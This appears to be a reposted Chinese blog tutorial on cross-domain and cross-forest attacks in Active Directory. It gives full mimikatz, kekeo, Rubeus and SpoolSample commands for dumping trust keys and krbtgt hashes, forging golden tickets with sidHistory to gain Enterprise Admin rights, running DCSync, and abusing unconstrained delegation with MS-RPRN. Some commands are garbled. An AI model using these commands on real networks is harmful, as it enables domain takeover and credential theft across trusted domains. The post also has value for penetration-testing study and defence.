• 内网渗透-跨域攻击


    一、 获取域信息
    在域中,EnterPrise Admins组(仅出现在在林的根域中)的成员具有对目录林中的所有域的完全控制权限。在默认情况下该组包含所有域控制器上具有Administrators权限的用户。
     
    1.查看sales域内计算机当前权限
     
    2.查看payload域内计算机当前权限
     
    二、 利用域信任密钥获取目标域的权限
    查看域内信任关系
    nltest /domain_trusts
    父域的域控制器:win-dc.payload.com
    子域的域控制器:win-dc01.selas.payload.com
    子域内的计算机:win-test.selas.payload.com
    子域内的普通用户:selas est
     
    使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具便可以创建具有sidHistory的票据,对目标域进行安全测试。
    在子域win-dc01.selas.payload.com中使用mimikatz获取需要的信息。
    mimikatz.exe privilege::debug "lsadump::lsa /patch /user:tset$" "lsadump::trust /patch" exit
     
    Domain : SELAS / S-1-5-21-3286823404-654603728-2254694439
     
    Current domain: SELAS.PAYLOAD.COM (SELAS / S-1-5-21-3286823404-654603728-2254694439) # 当前域SID
     
    Domain: PAYLOAD.COM (PAYLOAD / S-1-5-21-1150252187-1650404275-3011793806)
    [ In ] SELAS.PAYLOAD.COM -> PAYLOAD.COM # 目标域SID
    * aes256_hmac 23bdaeea3fbcc0c487ae2a0c81d252850b5248a54d82c1b6ee45e499382eabee
    * aes128_hmac 3efae96e5603cee7a2e7fc0c1b7d2d4b
    * rc4_hmac_nt f430c584462c52bc2291fea8705031c5 # 信任密钥
     
    获取信息后,在域内计算机(win-test.selas.payload.com)中使用普通用户(selas est)权限执行如下命令创建信任票据。
    mimikatz "kerberos::golden /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /rc4:f430c584462c52bc2291fea8705031c5 /user:DarthVader /service:krbtgt /target:payload.com /ticket:payload.kiribi" exit
    domian:指定当前域名
    sid:当前域SID
    sids:目标域SID(519,表示创建的用户属于目标域的管理员组)
    rc4:指定信任密钥
    user:指定伪造的用户名
    service:指定要访问的服务
    target:指定目标域名
    ticket:指定保存票据的文件名
     
    利用刚刚创建的payload.kiribi的信任票据获取目标域中目标服务的TGS并保存到文件中。
    Asktgs payload.kiribi CIFS/WIN-DC.payload.com
    然后将获取的TGS票据注入内存
    kiribikator lsa CIFS.win-dc.payload.com.kiribi
    最后输入如下命令,访问目标服务
    dir \win-dcc$
     
    三、 利用krbtgt散列值获取目标域的权限
    使用mimikatz可以在构建黄金票据时设置sidHistory。因此,如果获取了任意域的krbtgt散列值,就可以利用SidHistory获得该林的完整权限。
    首先使用powerview在域内计算机(win-test.selas.payload.com)中使用普通用户selas est权限获取当前域和目标域的SID,获取域用户SID的常用命令有“wmic useraccount get name,sid” "whoami 、user" “adfind.exe -sc u:test|findstr sid” "powerview"等。
    .powerview.ps1
    Get-DomainTrust API
    当前域SID : S-1-5-21-3286823404-654603728-2254694439
    目标域SID : S-1-5-21-1150252187-1650404275-3011793806
     
    在域控制上使用mimikatz获取krbtgt散列值。
    mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
    或者
    sekurlsa::krbtgt
    NTLM : ffc79c6f14bb2c39e6ceab183cefc9c5
    rc4_hmac_nt : ffc79c6f14bb2c39e6ceab183cefc9c5
     
    在子域内的计算机上(win-test.selas.payload.com)上使用普通用户权限(selas est)构造并注入黄金票据,获取目标域的权限。
    mimikatz "kerberos::golden /user:administrator /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /krbtgt:ffc79c6f14bb2c39e6ceab183cefc9c5 /ptt" exit
    ptt:表示票据注入内存
    访问目标服务
    dir \win-dc.payload.comc$
     
    四、外部信任和林信任
    1.利用信任关系获取信任域的信息
    因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。
    使用adfind工具获取信任域的完整信息例如获取administrator用户的详细信息如下:
    输入如下命令,导出全部用户信息
    adfind -h payload.com -sc u:administrator
    通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。
    2.使用powerview定位敏感用户
    执行如下命令,列出目标域用户组中的外部用户
    .powerview.ps1
    Get-DomainForeignGroupMember -Domain payload.com
     
    五、利用无约束委派和MS-RPRN获取信任林权限
    如果攻击者已经获取了域林中某个域控制器的权限,或者配置了无约束委派的任何服务器的权限,就可以使用MS-RPRN,使信任林的域控制器向已被控的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的散列值。
    首先,在dc.a.com上使用rubeus工具,监控身份认证请求,interval参数用于设置监控的时间间隔,单位为秒;filteruser用于指定渗透测试中需要关注的用户。
    rubeus.exe monitor /interval:5 /filteruser:BDC$
    开启监听后,在命令行环境下执行如下命令,使用SpoolSample工具让目标域控制器bcd.b.com向dc.a.com发送身份认证请求。
    SpoolSample.exe bdc.b.com dc.a.com
    此时,rubeus会捕获来自bdc.b.com的认证请求,保存其中的TGT数据。
    清除TGT数据文件中多余的换行符,然后使用rubeus工具将票据注入内存。
    Rubeus.exe ptt /ticket:<TGT 数据>
    使用mimikatz获取目标域的krbtgt散列值。使用mimikatz的dcsync功能,模拟域控制器向目标域控制器发送请求(获取账户密码)
    mimikatz "lsadump::dcsync /domain:b.com /user:bkrbtgt" exit
    构造黄金票据并将其注入内存,获取目标域控制器的权限。
    mimikatz "kerberos::golden /user:administrator /domain:b.com /sid: /rc4: /ptt" exit
    最后访问目标服务
    dir \bdc.comc$
     
     
    无约束委派:
  • 相关阅读:
    Word常用定义的变量
    Delphi对Word一些进阶操作
    Delphi 统计Word文档中的字数
    Delphi对Word的基本操作
    Spring3 MVC请求参数获取的几种方法
    Spring3系列13-Controller和@RequestMapping
    Spring3系列12-Spring AOP AspectJ
    Spring3系列11-Spring AOP——自动创建Proxy
    Spring3系列10-Spring AOP——Pointcut,Advisor拦截指定方法
    Spring3系列9-Spring AOP——Advice
  • 原文地址:https://www.cnblogs.com/micr067/p/12984136.html
Copyright © 2020-2023  润新知